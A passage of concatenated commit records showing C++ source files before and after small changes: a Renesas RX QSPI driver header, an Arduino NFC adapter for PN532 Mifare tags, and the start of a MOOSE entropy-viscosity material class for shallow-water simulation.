0b1001,\t\/\/\/< 10 Bits\n\t\t\tW11 = 0b1010,\t\/\/\/< 11 Bits\n\t\t\tW12 = 0b1011,\t\/\/\/< 12 Bits\n\t\t\tW13 = 0b1100,\t\/\/\/< 13 Bits\n\t\t\tW14 = 0b1101,\t\/\/\/< 14 Bits\n\t\t\tW15 = 0b1110,\t\/\/\/< 15 Bits\n\t\t\tW16 = 0b1111,\t\/\/\/< 16 Bits\n\t\t\tW20 = 0b0000,\t\/\/\/< 20 Bits\n\t\t\tW24 = 0b0001,\t\/\/\/< 24 Bits\n\t\t\tW32 = 0b0011,\t\/\/\/< 32 Bits\n\t\t};\n\n\tprivate:\n\n\t\tuint8_t\tlevel_;\n\n\n\t\t\/\/ 便宜上のスリープ\n\t\tvoid sleep_() { asm(\"nop\"); }\n\n\n\t\tbool clock_div_(uint32_t speed, uint8_t& brdv, uint8_t& spbr) {\n\/\/\/\t\t\tutils::format(\"PCLK: %d\\n\") % static_cast<uint32_t>(PCLK);\n\t\t\tuint32_t br = static_cast<uint32_t>(PCLK) \/ speed;\n\t\t\tuint8_t dv = 0;\n\t\t\twhile(br > 512) {\n\t\t\t\tbr >>= 1;\n\t\t\t\t++dv;\n\t\t\t\tif(dv > 3) {\n\t\t\t\t\tbrdv = 3;\n\t\t\t\t\tspbr = 255;\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\tbrdv = dv;\n\t\t\tif(br & 1) {\n\t\t\t\tbr >>= 1;\n\t\t\t\t++br;\n\t\t\t} else {\n\t\t\t\tbr >>= 1;\n\t\t\t}\n\t\t\tif(br) --br;\n\t\t\tspbr = br;\n\t\t\treturn true;\n\t\t}\n\n\tpublic:\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief  コンストラクター\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tqspi_io() noexcept : level_(0) { }\n\n\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief  通信速度を設定して、CSI を有効にする\n\t\t\t@param[in]\tspeed\t通信速度\n\t\t\t@param[in]\tctype\tクロック位相タイプ\n\t\t\t@param[in]\tdlen\tデータ長設定\n\t\t\t@param[in]\tlevel\t割り込みレベル（１～２）、０の場合はポーリング\n\t\t\t@return エラー（速度設定範囲外）なら「false」\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tbool start(uint32_t speed, PHASE ctype, DLEN dlen, uint8_t level = 0) noexcept\n\t\t{\n\t\t\tlevel_ = level;\n\n\t\t\t\/\/ デバイスを不許可\n\t\t\tQSPI::SPCR = 0x00;\n\n\t\t\t\/\/ ポートを有効にする\n\t\t\tport_map::turn(QSPI::get_peripheral(), true, PSEL);\n\n\t\t\tbool f = true;\n\t\t\tuint8_t brdv;\n\t\t\tuint8_t spbr;\n\t\t\tif(!clock_div_(speed, brdv, spbr)) {\n\t\t\t\tf = false;\n\t\t\t}\n\n\t\t\tpower_cfg::turn(QSPI::get_peripheral());\n\n\t\t\t\/\/ 設定\n\t\t    QSPI::SPBR = spbr;\n\t\t\tQSPI::SPPCR = 0x00;\t\/\/ Fixed idle value, disable loop-back\n\t\t\tQSPI::SPSCR = 0x00;\t\/\/ disable sequence control\n\t\t\tQSPI::SPDCR = 0x20;\t\/\/ SPLW=1 (long word access) \n\/\/\/\t\t\tQSPI::SPCMD0 = RSPI::SPCMD0.LSBF.b() | RSPI::SPCMD0.BRDV.b(brdv) | RSPI::SPCMD0.SPB.b(0b0100);\n\t\t\tbool cpol = 0;\n\t\t\tbool cpha = 0;\n\t\t\tswitch(ctype) {\n\t\t\tcase PHASE::TYPE1:\n\t\t\t\tbreak;\n\t\t\tcase PHASE::TYPE2:\n\t\t\t\tcpha = 1;\n\t\t\t\tbreak;\n\t\t\tcase PHASE::TYPE3:\n\t\t\t\tcpol = 1;\n\t\t\t\tbreak;\n\t\t\tcase PHASE::TYPE4:\n\t\t\t\tcpol = 1;\n\t\t\t\tcpha = 1;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tQSPI::SPCMD0 = QSPI::SPCMD0.BRDV.b(brdv)\n\t\t\t\t| QSPI::SPCMD0.SPB.b(static_cast<uint8_t>(dlen))\n\t\t\t\t| QSPI::SPCMD0.CPOL.b(cpol) | QSPI::SPCMD0.CPHA.b(cpha);\n\n\t\t\tQSPI::SPCR.MSTR = 1;\n\n\t\t\tQSPI::SPCR.SPE = 1;\n\n\t\t\treturn f;\n\t\t}\n\n\n\t\t\/\/----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief\tリード・ライト\n\t\t\t@param[in]\tdata\t書き込みデータ\n\t\t\t@return 読み出しデータ\n\t\t*\/\n\t\t\/\/----------------------------------------------------------------\/\/\n\t\tuint8_t xchg(uint8_t data = 0xff) noexcept\n\t\t{\n\t\t\tQSPI::SPDR = static_cast<uint32_t>(data);\n\t\t\twhile(QSPI::SPSR.SPRF() == 0) sleep_();\n\t\t    return QSPI::SPDR();\n\t\t}\n\n\n\t\t\/\/----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief\tリード・ライト\n\t\t\t@param[in]\tdata\t書き込みデータ\n\t\t\t@return 読み出しデータ\n\t\t*\/\n\t\t\/\/----------------------------------------------------------------\/\/\n\t\tuint32_t xchg32(uint32_t data = 0) noexcept\n\t\t{\n\t\t\tQSPI::SPDR = static_cast<uint32_t>(data);\n\t\t\twhile(QSPI::SPSR.SPRF() == 0) sleep_();\n\t\t    return QSPI::SPDR();\n\t\t}\n\n\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief  シリアル送信\n\t\t\t@param[in]\tsrc\t送信ソース\n\t\t\t@param[in]\tcnt\t送信サイズ\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tvoid send(const uint8_t* src, uint16_t size) noexcept\n\t\t{\n\t\t\tauto end = src + size;\n\t\t\twhile(src < end) {\n\t\t\t\txchg(*src);\n\t\t\t\t++src;\n\t\t\t}\n\t\t}\n\n\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief  シリアル受信\n\t\t\t@param[out]\tdst\t受信先\n\t\t\t@param[in]\tcnt\t受信サイズ\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tvoid recv(uint8_t* dst, uint16_t size) noexcept\n\t\t{\n\t\t\tauto end = dst + size;\n\t\t\twhile(dst < end) {\n\t\t\t\t*dst = xchg();\n\t\t\t\t++dst;\n\t\t\t}\n\t\t}\n\n\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief  RSPIを無効にして、パワーダウンする\n\t\t\t@param[in]\tpower パワーダウンをしない場合「false」\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tvoid destroy(bool power = true) noexcept\n\t\t{\n\t\t\tQSPI::SPCR = 0x00;\n\t\t\tport_map::turn(QSPI::get_peripheral(), false);\n\t\t\tif(power) power_cfg::turn(QSPI::get_peripheral(), false);\n\t\t}\n\t};\n}\n<commit_msg>update: cleanup<commit_after>#pragma once\n\/\/=====================================================================\/\/\n\/*!\t@file\n\t@brief\tRX グループ・QSPI I\/O 制御\n    @author 平松邦仁 (hira@rvf-rc45.net)\n\t@copyright\tCopyright (C) 2018 Kunihito Hiramatsu @n\n\t\t\t\tReleased under the MIT license @n\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RX\/blob\/master\/LICENSE\n*\/\n\/\/=====================================================================\/\/\n#include \"common\/renesas.hpp\"\n#include \"common\/vect.h\"\n\n\/\/\/ F_PCKx は速度パラメーター計算で必要で、設定が無いとエラーにします。\n#if defined(SIG_RX24T)\n#  error \"qspi_io.hpp not support for RX24T\"\n#elif defined(SIG_RX64M) || defined(SIG_RX71M) || defined(SIG_RX65N)\n#ifndef F_PCLKB\n#  error \"qspi_io.hpp requires F_PCLKB to be defined\"\n#else\n#undef PCLK\n#define PCLK F_PCLKB\n#endif\n#endif\n\nnamespace device {\n\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\t\/*!\n\t\t@brief  QSPI 制御クラス\n\t\t@param[in]\tQSPI\tQSPI 定義クラス\n\t\t@param[in]\tPSEL\tポート候補\n\t*\/\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\ttemplate <class QSPI, port_map::option PSEL = port_map::option::FIRST>\n\tclass qspi_io {\n\tpublic:\n\n\t\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\t\t\/*!\n\t\t\t@brief  データ、クロック位相タイプ型\n\t\t\t\t\tTYPE1(MODE0): CPOL:0 CPHA:0 @n\n\t\t\t\t\tTYPE2(MODE1): CPOL:0 CPHA:1 @n\n\t\t\t\t\tTYPE3(MODE2): CPOL:1 CPHA:0 @n\n\t\t\t\t\tTYPE4(MODE3): CPOL:1 CPHA:1\n\t\t*\/\n\t\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\t\tenum class PHASE : uint8_t {\n\t\t\tTYPE1,  \/\/\/< タイプ１\n\t\t\tTYPE2,  \/\/\/< タイプ２\n\t\t\tTYPE3,  \/\/\/< タイプ３\n\t\t\tTYPE4,  \/\/\/< タイプ４ (SD カードアクセス）\n\t\t};\n\n\n\t\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\t\t\/*!\n\t\t\t@brief  データ長型\n\t\t*\/\n\t\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\t\tenum class DLEN : uint8_t {\n\t\t\tW8  = 0b0111,\t\/\/\/< 8 Bits\n\t\t\tW9  = 0b1000,\t\/\/\/< 9 Bits\n\t\t\tW10 = 0b1001,\t\/\/\/< 10 Bits\n\t\t\tW11 = 0b1010,\t\/\/\/< 11 Bits\n\t\t\tW12 = 0b1011,\t\/\/\/< 12 Bits\n\t\t\tW13 = 0b1100,\t\/\/\/< 13 Bits\n\t\t\tW14 = 0b1101,\t\/\/\/< 14 Bits\n\t\t\tW15 = 0b1110,\t\/\/\/< 15 Bits\n\t\t\tW16 = 0b1111,\t\/\/\/< 16 Bits\n\t\t\tW20 = 0b0000,\t\/\/\/< 20 Bits\n\t\t\tW24 = 0b0001,\t\/\/\/< 24 Bits\n\t\t\tW32 = 0b0011,\t\/\/\/< 32 Bits\n\t\t};\n\n\tprivate:\n\n\t\tuint8_t\tlevel_;\n\n\n\t\t\/\/ 便宜上のスリープ\n\t\tvoid sleep_() { asm(\"nop\"); }\n\n\n\t\tbool clock_div_(uint32_t speed, uint8_t& brdv, uint8_t& spbr) {\n\/\/\/\t\t\tutils::format(\"PCLK: %d\\n\") % static_cast<uint32_t>(PCLK);\n\t\t\tuint32_t br = static_cast<uint32_t>(PCLK) \/ speed;\n\t\t\tuint8_t dv = 0;\n\t\t\twhile(br > 512) {\n\t\t\t\tbr >>= 1;\n\t\t\t\t++dv;\n\t\t\t\tif(dv > 3) {\n\t\t\t\t\tbrdv = 3;\n\t\t\t\t\tspbr = 255;\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\tbrdv = dv;\n\t\t\tif(br & 1) {\n\t\t\t\tbr >>= 1;\n\t\t\t\t++br;\n\t\t\t} else {\n\t\t\t\tbr >>= 1;\n\t\t\t}\n\t\t\tif(br) --br;\n\t\t\tspbr = br;\n\t\t\treturn true;\n\t\t}\n\n\tpublic:\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief  コンストラクター\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tqspi_io() noexcept : level_(0) { }\n\n\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief  通信速度を設定して、CSI を有効にする\n\t\t\t@param[in]\tspeed\t通信速度\n\t\t\t@param[in]\tctype\tクロック位相タイプ\n\t\t\t@param[in]\tdlen\tデータ長設定\n\t\t\t@param[in]\tlevel\t割り込みレベル（１～２）、０の場合はポーリング\n\t\t\t@return エラー（速度設定範囲外）なら「false」\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tbool start(uint32_t speed, PHASE ctype, DLEN dlen, uint8_t level = 0) noexcept\n\t\t{\n\t\t\tuint8_t brdv;\n\t\t\tuint8_t spbr;\n\t\t\tif(!clock_div_(speed, brdv, spbr)) {\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tpower_cfg::turn(QSPI::get_peripheral());\n\n\t\t\t\/\/ ポートを有効にする\n\t\t\tport_map::turn(QSPI::get_peripheral(), true, PSEL);\n\n\t\t\tlevel_ = level;\n\n\t\t\t\/\/ デバイスを不許可\n\/\/\t\t\tQSPI::SPCR = 0x00;\n\n\t\t\t\/\/ 設定\n\t\t    QSPI::SPBR = spbr;\n\t\t\tQSPI::SPPCR = 0x00;\t\/\/ Fixed idle value, disable loop-back\n\t\t\tQSPI::SPSCR = 0x00;\t\/\/ disable sequence control\n\t\t\tQSPI::SPDCR = 0x20;\t\/\/ SPLW=1 (long word access) \n\/\/\/\t\t\tQSPI::SPCMD0 = RSPI::SPCMD0.LSBF.b() | RSPI::SPCMD0.BRDV.b(brdv) | RSPI::SPCMD0.SPB.b(0b0100);\n\t\t\tbool cpol = 0;\n\t\t\tbool cpha = 0;\n\t\t\tswitch(ctype) {\n\t\t\tcase PHASE::TYPE1:\n\t\t\t\tbreak;\n\t\t\tcase PHASE::TYPE2:\n\t\t\t\tcpha = 1;\n\t\t\t\tbreak;\n\t\t\tcase PHASE::TYPE3:\n\t\t\t\tcpol = 1;\n\t\t\t\tbreak;\n\t\t\tcase PHASE::TYPE4:\n\t\t\t\tcpol = 1;\n\t\t\t\tcpha = 1;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tQSPI::SPCMD0 = QSPI::SPCMD0.BRDV.b(brdv)\n\t\t\t\t| QSPI::SPCMD0.SPB.b(static_cast<uint8_t>(dlen))\n\t\t\t\t| QSPI::SPCMD0.CPOL.b(cpol) | QSPI::SPCMD0.CPHA.b(cpha);\n\n\t\t\tQSPI::SPCR.MSTR = 1;\n\n\t\t\tQSPI::SPCR.SPE = 1;\n\n\t\t\treturn true;\n\t\t}\n\n\n\t\t\/\/----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief\tリード・ライト\n\t\t\t@param[in]\tdata\t書き込みデータ\n\t\t\t@return 読み出しデータ\n\t\t*\/\n\t\t\/\/----------------------------------------------------------------\/\/\n\t\tuint8_t xchg(uint8_t data = 0xff) noexcept\n\t\t{\n\t\t\tQSPI::SPDR = static_cast<uint32_t>(data);\n\t\t\twhile(QSPI::SPSR.SPRF() == 0) sleep_();\n\t\t    return QSPI::SPDR();\n\t\t}\n\n\n\t\t\/\/----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief\tリード・ライト\n\t\t\t@param[in]\tdata\t書き込みデータ\n\t\t\t@return 読み出しデータ\n\t\t*\/\n\t\t\/\/----------------------------------------------------------------\/\/\n\t\tuint32_t xchg32(uint32_t data = 0) noexcept\n\t\t{\n\t\t\tQSPI::SPDR = static_cast<uint32_t>(data);\n\t\t\twhile(QSPI::SPSR.SPRF() == 0) sleep_();\n\t\t    return QSPI::SPDR();\n\t\t}\n\n\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief  シリアル送信\n\t\t\t@param[in]\tsrc\t送信ソース\n\t\t\t@param[in]\tcnt\t送信サイズ\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tvoid send(const uint8_t* src, uint16_t size) noexcept\n\t\t{\n\t\t\tauto end = src + size;\n\t\t\twhile(src < end) {\n\t\t\t\txchg(*src);\n\t\t\t\t++src;\n\t\t\t}\n\t\t}\n\n\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief  シリアル受信\n\t\t\t@param[out]\tdst\t受信先\n\t\t\t@param[in]\tcnt\t受信サイズ\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tvoid recv(uint8_t* dst, uint16_t size) noexcept\n\t\t{\n\t\t\tauto end = dst + size;\n\t\t\twhile(dst < end) {\n\t\t\t\t*dst = xchg();\n\t\t\t\t++dst;\n\t\t\t}\n\t\t}\n\n\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief  RSPIを無効にして、パワーダウンする\n\t\t\t@param[in]\tpower パワーダウンをしない場合「false」\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tvoid destroy(bool power = true) noexcept\n\t\t{\n\t\t\tQSPI::SPCR = 0x00;\n\t\t\tport_map::turn(QSPI::get_peripheral(), false);\n\t\t\tif(power) power_cfg::turn(QSPI::get_peripheral(), false);\n\t\t}\n\t};\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>boost no compila<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <NfcAdapter.h>\n\/\/ Drivers\n#include <MifareClassic.h>\n#include <MifareUltralight.h>\n\n#include <NfcTag.h>\n\nNfcAdapter::NfcAdapter(void)\n{\n\tshield = new Adafruit_NFCShield_I2C(IRQ, RESET);\n}\n\nNfcAdapter::~NfcAdapter(void)\n{\n  delete shield;\n}\n\nvoid NfcAdapter::begin()\n{\n\tshield->begin();\n\n  uint32_t versiondata = shield->getFirmwareVersion();\n  if (! versiondata) {\n    Serial.print(F(\"Didn't find PN53x board\"));\n    while (1); \/\/ halt\n  }\n  \/\/ Got ok data, print it out!\n  Serial.print(F(\"Found chip PN5\")); Serial.println((versiondata>>24) & 0xFF, HEX); \n  Serial.print(F(\"Firmware ver. \")); Serial.print((versiondata>>16) & 0xFF, DEC); \n  Serial.print('.'); Serial.println((versiondata>>8) & 0xFF, DEC);\n  \n  \/\/ configure board to read RFID tags\n  shield->SAMConfig();\n}\n\nboolean NfcAdapter::tagPresent()\n{\n\tuint8_t success;\n  uidLength = 0; \n\n\tsuccess = shield->readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength);\n\n  \/\/ if (success)\n  \/\/ {\n  \/\/   Serial.println(\"Found an ISO14443A card\");\n  \/\/   Serial.print(\"  UID Length: \");Serial.print(uidLength, DEC);Serial.println(\" bytes\");\n  \/\/   Serial.print(\"  UID Value: \");\n  \/\/   shield->PrintHex(uid, uidLength);\n  \/\/   Serial.println(\"\");\n  \/\/ }\n\n  return success;\n}\n\n\/\/ TODO return a NfcTag\nNdefMessage NfcAdapter::read() \n{\n\n  NdefMessage ndefMessage;\n\n\tif (uidLength == 4)\n  {\n    Serial.println(F(\"Mifare Classic card (4 byte UID)\"));\n\n    \/\/ NfcTag tag = NfcTag(uid, uidLength, \"Mifare Classic\", ndefMessage);\n\n    ndefMessage = readMifareClassic(*shield, uid, uidLength);\n  }    \n  else\n  {\n    \/\/ TODO need a better way to determine which driver to use\n    \/\/ Since I have Mifare Classic cards with 7 byte UIDs\n    Serial.println(F(\"Mifare Ultralight card (7 byte UID)\"));\n\n    MifareUltralight ultralight = MifareUltralight(*shield);\n    ndefMessage = ultralight.read();\n  }\n  return ndefMessage;\n}\n\nboolean NfcAdapter::write(NdefMessage& ndefMessage)\n{\n  boolean success;\n\n  if (uidLength == 4)\n  {\n    writeMifareClassic(*shield, ndefMessage, uid, uidLength);\n    success = true; \/\/ TODO get status from write!\n  }\n  else\n  {\n    Serial.println(F(\"Unsupported Tag\"));    \n    success = false;\n  }\n  return success;\n}<commit_msg>move includeds to header<commit_after>#include <NfcAdapter.h>\n\nNfcAdapter::NfcAdapter(void)\n{\n\tshield = new Adafruit_NFCShield_I2C(IRQ, RESET);\n}\n\nNfcAdapter::~NfcAdapter(void)\n{\n  delete shield;\n}\n\nvoid NfcAdapter::begin()\n{\n\tshield->begin();\n\n  uint32_t versiondata = shield->getFirmwareVersion();\n  if (! versiondata) {\n    Serial.print(F(\"Didn't find PN53x board\"));\n    while (1); \/\/ halt\n  }\n  \/\/ Got ok data, print it out!\n  Serial.print(F(\"Found chip PN5\")); Serial.println((versiondata>>24) & 0xFF, HEX); \n  Serial.print(F(\"Firmware ver. \")); Serial.print((versiondata>>16) & 0xFF, DEC); \n  Serial.print('.'); Serial.println((versiondata>>8) & 0xFF, DEC);\n  \n  \/\/ configure board to read RFID tags\n  shield->SAMConfig();\n}\n\nboolean NfcAdapter::tagPresent()\n{\n\tuint8_t success;\n  uidLength = 0; \n\n\tsuccess = shield->readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength);\n\n  \/\/ if (success)\n  \/\/ {\n  \/\/   Serial.println(\"Found an ISO14443A card\");\n  \/\/   Serial.print(\"  UID Length: \");Serial.print(uidLength, DEC);Serial.println(\" bytes\");\n  \/\/   Serial.print(\"  UID Value: \");\n  \/\/   shield->PrintHex(uid, uidLength);\n  \/\/   Serial.println(\"\");\n  \/\/ }\n\n  return success;\n}\n\n\/\/ TODO return a NfcTag\nNdefMessage NfcAdapter::read() \n{\n\n  NdefMessage ndefMessage;\n\n\tif (uidLength == 4)\n  {\n    Serial.println(F(\"Mifare Classic card (4 byte UID)\"));\n\n    \/\/ NfcTag tag = NfcTag(uid, uidLength, \"Mifare Classic\", ndefMessage);\n\n    ndefMessage = readMifareClassic(*shield, uid, uidLength);\n  }    \n  else\n  {\n    \/\/ TODO need a better way to determine which driver to use\n    \/\/ Since I have Mifare Classic cards with 7 byte UIDs\n    Serial.println(F(\"Mifare Ultralight card (7 byte UID)\"));\n\n    MifareUltralight ultralight = MifareUltralight(*shield);\n    ndefMessage = ultralight.read();\n  }\n  return ndefMessage;\n}\n\nboolean NfcAdapter::write(NdefMessage& ndefMessage)\n{\n  boolean success;\n\n  if (uidLength == 4)\n  {\n    writeMifareClassic(*shield, ndefMessage, uid, uidLength);\n    success = true; \/\/ TODO get status from write!\n  }\n  else\n  {\n    Serial.println(F(\"Unsupported Tag\"));    \n    success = false;\n  }\n  return success;\n}<|endoftext|>"}
{"text":"<commit_before>#include \"ComputeViscCoeff.h\"\n\ntemplate<>\nInputParameters validParams<ComputeViscCoeff>()\n{\n  InputParameters params = validParams<Material>();\n\n  params.addParam<std::string>(\"viscosity_name\", \"FIRST_ORDER\", \"Name of the viscosity definition to use: set to first order by default.\");\n  \/\/ Coupled variables\n  params.addRequiredCoupledVar(\"h\"  , \"h: water height\");\n  params.addRequiredCoupledVar(\"q_x\", \"x component of momentum\");\n  params.addCoupledVar(\"q_y\", \"y component of momentum\");\n  \/\/ Coupled aux variables\n  params.addRequiredCoupledVar(\"entropy\", \"entropy function\");\n  params.addRequiredCoupledVar(\"F\", \"x-component of the entropy flux \");\n  params.addCoupledVar(\"G\", \"y-component of the entropy flux \");\n  params.addCoupledVar(\"B\", \"bathymetry data\");  \n  params.addParam<Real>(\"gravity\", 9.81, \"gravity magnitude\");\n  \/\/ constant parameters:\n  \/\/params.addParam<bool>(\"is_first_order\", false, \"if true, use the first-order viscosity coefficient\");\n  params.addParam<double>(\"Ce\"   , 1.0, \"Coefficient for entropy viscosity\");\n  params.addParam<double>(\"Cjump\", 1.0, \"Coefficient for jumps\");\n  params.addParam<double>(\"Cmax\" , 0.5, \"Coefficient for first-order viscosity\");\n  \/\/ Userobject:\n  params.addRequiredParam<UserObjectName>(\"eos\", \"Equation of state\");\n  \/\/ PPS names:\n  \/\/params.addParam<std::string>(\"press_PPS_name\", \"name of the pps computing pressure\");\n    \n  return params;\n}\n\nComputeViscCoeff::ComputeViscCoeff(const std::string & name, \n                                   InputParameters parameters) :\n    Material(name, parameters),\n    \/\/ Declare viscosity types\n    _visc_type(\"NONE, FIRST_ORDER, ENTROPY, INVALID\", getParam<std::string>(\"viscosity_name\")),   \/\/ Declare variables\n    _h(coupledValue(\"h\")),\n    _q_x(coupledValue(\"q_x\")),\n    _q_y(_mesh.dimension() == 2 ? coupledValue(\"q_y\") : _zero),\n    \/\/ entropy:\n    _E(coupledValue(\"entropy\")),\n    _E_old(coupledValueOld(\"entropy\")),\n    _E_older(coupledValueOlder(\"entropy\")),\n    \/\/ entropy flux:\n    _grad_F(coupledGradient(\"F\")),\n    _grad_G(_mesh.dimension() == 2 ? coupledGradient(\"G\") : _grad_zero),\n    \/\/ bathymetry:\n    _bathymetry(isCoupled(\"B\") ? coupledValue(\"B\") : _zero),\n    _gravity(getParam<Real>(\"gravity\")),\n    \/\/ Jump of entropy gradients:\n    \/\/_jump_grad_entropy(isCoupled(\"jump_grad_entropy\") ? coupledValue(\"jump_grad_entropy\") : _zero),\n    \/\/ Declare material properties\n    _kappa(declareProperty<Real>(\"kappa\")),\n    _kappa_max(declareProperty<Real>(\"kappa_max\")),\n    _residual(declareProperty<Real>(\"residual\")), \/\/ jcr: why declare property for residual?, for output\n    \/\/ Get constant parameters\n    \/\/_is_first_order(getParam<bool>(\"is_first_order\")),\n    _Ce(getParam<double>(\"Ce\")),\n    _Cjump(getParam<double>(\"Cjump\")),\n    _Cmax(getParam<double>(\"Cmax\")),\n    \/\/ UserObject:\n    _eos(getUserObject<HydrostaticPressure>(\"eos\")),\n    \/\/ PPS name:\n    \/\/_entropy_pps_name(getParam<std::string>(\"PPS_name\"))\n{\n    if (_Ce < 0. || _Ce > 2.)\n        mooseError(\"The coefficient Ce has to be positive and cannot be larger than 2.\");\n}\n\nvoid\nComputeViscCoeff::computeQpProperties()\n{\n  \/\/ Determine h (length used in definition of first and second order viscosities):\n  Real _h_min = _current_elem->hmin();\/\/ \/_qrule->get_order(); jcr why called min, not cell?\n    \n  \/\/ vector q\n  RealVectorValue _vector_q( _q_x[_qp], _q_y[_qp], 0. );\n\n  \/\/ Compute first order viscosity:\n  Real c = std::sqrt(_eos.c2(_h[_qp], _vector_q));\n  _kappa_max[_qp] = _Cmax*_h_min*(_vector_q.size()\/_h[_qp] + c);\n    \n  \n\n  \/\/ Epsilon value normalization of unit vectors:\n  Real _eps = std::sqrt(std::numeric_limits<Real>::min());\n    \n  \/\/ Compute Mach number and velocity variable to use in the normalization parameter:\n  \/\/ Real entropy_pps = std::max(getPostprocessorValueByName(_entropy_pps_name), eps);\n        \n  \/\/ Initialize some vector, values, ... for entropy viscosity method:\n  RealVectorValue _vector_vel = _vector_q \/ _h[_qp];\n\n  Real jump=0.;\n  \n    \/\/ Switch statement over viscosity type:\n    switch (_visc_type) {\n        case NONE:             \n            _kappa[_qp] = 0.;\n            break;\n        case FIRST_ORDER:\n            _kappa[_qp] = _kappa_max[_qp];\n            break;\n        case ENTROPY:\n            \/\/ Compute the viscosity coefficients:\n            if (_t_step == 1) {\n                _kappa[_qp] = _kappa_max[_qp];\n            }\n            else {\n                \/\/ Weights for BDF2\n                Real w0 = _t_step > 2 ? (2.*_dt+_dt_old)\/(_dt*(_dt+_dt_old)) : 1. \/ _dt;\n                Real w1 = _t_step > 2 ? -(_dt+_dt_old)\/(_dt*_dt_old) : -1. \/ _dt;\n                Real w2 = _t_step > 2 ? _dt\/(_dt_old*(_dt+_dt_old)) : 0.;\n\n                \/\/ Entropy residual\n                Real residual = w0*_E[_qp]+w1*_E_old[_qp]+w2*_E_older[_qp];\n                residual += _grad_F[_qp](0)+_grad_G[_qp](1);\n                \/\/ store at qp\n                _residual[_qp] = std::fabs(residual);\n                \n                \/\/ Compute kappa_e:\n                \/*if (_isJumpOn)\n                    jump = _Cjump*_norm_vel[_qp]*std::max( _jump_grad_entropy[_qp], c*c*_jump_grad_dens[_qp] );\n                else\n                    jump = _Cjump*_norm_vel[_qp]*std::max( _grad_press[_qp].size(), c*c*_grad_rho[_qp].size() );*\/\n\n                \/\/ Froude number (use from Marco while I figure out |s-save|)\n                Real Froude = _vector_q.size()\/_h[_qp]\/std::sqrt(_gravity*(_h[_qp]+_eps));\n\t\t\t\tReal _norm = _gravity*(_h[_qp]+_bathymetry[_qp]+_eps);\n                Real kappa_e = _Ce*_h_min*_h_min*(std::fabs(residual) + jump) \/ _norm;\n\n                \/\/jump = _Cjump*_norm_vel[_qp]*std::max( _grad_press[_qp].size(), c*c*_grad_rho[_qp].size() );\n                               \n                \/\/ Compute kappa:\n                _kappa[_qp] = std::min( _kappa_max[_qp], kappa_e);\n            }\n            break;\n        default:\n            mooseError(\"The viscosity type entered in the input file is not implemented.\");\n            break;\n    }\n}\n<commit_msg>use space in enum<commit_after>#include \"ComputeViscCoeff.h\"\n\ntemplate<>\nInputParameters validParams<ComputeViscCoeff>()\n{\n  InputParameters params = validParams<Material>();\n\n  params.addParam<std::string>(\"viscosity_name\", \"FIRST_ORDER\", \"Name of the viscosity definition to use: set to first order by default.\");\n  \/\/ Coupled variables\n  params.addRequiredCoupledVar(\"h\"  , \"h: water height\");\n  params.addRequiredCoupledVar(\"q_x\", \"x component of momentum\");\n  params.addCoupledVar(\"q_y\", \"y component of momentum\");\n  \/\/ Coupled aux variables\n  params.addRequiredCoupledVar(\"entropy\", \"entropy function\");\n  params.addRequiredCoupledVar(\"F\", \"x-component of the entropy flux \");\n  params.addCoupledVar(\"G\", \"y-component of the entropy flux \");\n  params.addCoupledVar(\"B\", \"bathymetry data\");  \n  params.addParam<Real>(\"gravity\", 9.81, \"gravity magnitude\");\n  \/\/ constant parameters:\n  \/\/params.addParam<bool>(\"is_first_order\", false, \"if true, use the first-order viscosity coefficient\");\n  params.addParam<double>(\"Ce\"   , 1.0, \"Coefficient for entropy viscosity\");\n  params.addParam<double>(\"Cjump\", 1.0, 